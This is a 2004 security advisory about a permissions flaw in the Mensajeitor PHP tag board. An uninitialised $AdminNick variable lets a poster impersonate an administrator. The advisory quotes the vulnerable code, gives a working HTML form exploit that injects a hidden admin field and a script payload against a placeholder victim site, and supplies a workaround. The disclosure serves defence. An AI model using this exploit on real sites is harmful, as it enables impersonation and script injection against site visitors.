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From:SECURITEAM <support_(at)_securiteam.com>
Date:21.07.2004
Subject:[UNIX] Mensajeitor Inadequate Permissions Check

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 Mensajeitor Inadequate Permissions Check
------------------------------------------------------------------------


SUMMARY

<http://www.mensajeitor.com/> Mensajeitor is "a kind of tag board, in
which the visitors can insert his nick and a message in the web page where
its installed". A vulnerability in the product allows an attacker to
impersonate a user from the administrative group and post notes to the web
site as if he was the administrator.

DETAILS

Vulnerable Systems:
* Mensajeitor version v1.8.9 r1 and prior

Vulnerable code:
 for($i=0;$i<count($NicksRegs);$i++) {
   list($admin_nick,$admin_pass) = explode(":",$NicksRegs[$i]);

   if ($nick == $admin_nick) {
      $cadena_final .= "<span class=\"admin\">".$nick."</span>";
      $AdminNick = "si";
   }
 }

 if ($AdminNick != "si") {
   $cadena_final .= "<acronym
title='".nickinfo($nick_info).
"'>$nick</acronym>";
 }

As can be seen in the previous code, the default value for $AdminNick is
not given, and if both checks fails no value is set by the code. This
allows a remote attacker to set himself as part of the admin group by
simply providing a default value for the $AdminNick parameter. This opens
up the product to different types of attack, one of them is HTML and code
injection attacks.

Exploit:
< html>
< head>< title>Mensajeitor Exploit</title></head>
< body>
Inyeccion codigo en Mensajeitor =< v1.8.9 r1< br>< br>

< form name="form1" method="post"
action="http://www.victima.com/mensajeitor.php">
   < input type="text" name="nick" size="10" value="Nick" maxlength="9"><
br>
   < input type="text" name="titulo" size="21" value="Mensaje">< br>
   < input type="text" name="url" size="21" value="http://">< br>
   < input type="hidden" name="AdminNick" value="si">< br>
   Introduce codigo a insertar (</table> debe incluirse al principio)<
br>
   < input type="text" name="cadena_final" size="75%" value="</table><
script>alert('hacked ;)')</script>">< br>
   < input type="submit" name="enviar" value="Enviar" class="form">< br>
</form>

MensajeitorPHP propiedad de aaff.< br>
By Jordi Corrales (Shell Security Group, http://www.shellsec.net)
</body></html>

Workaround:
Insert the following lines before $nick = htmlspecialchars($nick); found
in the source code of the PHP script:
if ($cadena_final) { unset($cadena_final); }


ADDITIONAL INFORMATION

The information has been provided by  <mailto:jordi@shellsec.net> Jordi
Corrales.
The original article can be found at:  
<http://www.shellsec.net/leer_advisory.php?id=4>
http://www.shellsec.net/leer_advisory.php?id=4



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